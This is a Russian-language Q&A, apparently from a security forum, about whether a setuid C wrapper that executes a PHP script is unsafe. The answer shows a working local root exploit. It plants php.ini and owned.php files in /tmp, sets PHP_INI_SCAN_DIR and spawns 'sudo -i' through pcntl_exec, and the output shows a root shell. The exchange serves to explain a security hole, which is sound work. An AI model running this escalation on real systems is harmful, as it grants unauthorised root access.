У меня есть следующая программа в .c, установленная как setuid chmod только для чтения / выполнения владельцем и установит ее неизменной, как и вызываемый ею скрипт php.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[] )
{
setuid( 0 );
execv( "/var/tools/control.php", argv );
return 0;
}
это само по себе угроза безопасности? Можно ли нажимать другие команды через argv или что-то еще, о чем я не думал? Я спрашиваю не о php-скрипте, а только об этой прокси-программе.
Да, это угроза безопасности.
$ cat <<EOF >/tmp/php.ini
auto_prepend_file=/tmp/owned.php
EOF
$ cat <<EOF >/tmp/owned.php
<?php
echo "Owned\n";
pcntl_exec("/usr/bin/sudo", array("sudo", "-i"));
?>
EOF
$ export PHP_INI_SCAN_DIR="/tmp"
$ /path/to/the/setuid/wrapper
Owned
# id
uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023
Вот почему вам следует избегать использования двоичных файлов setuid.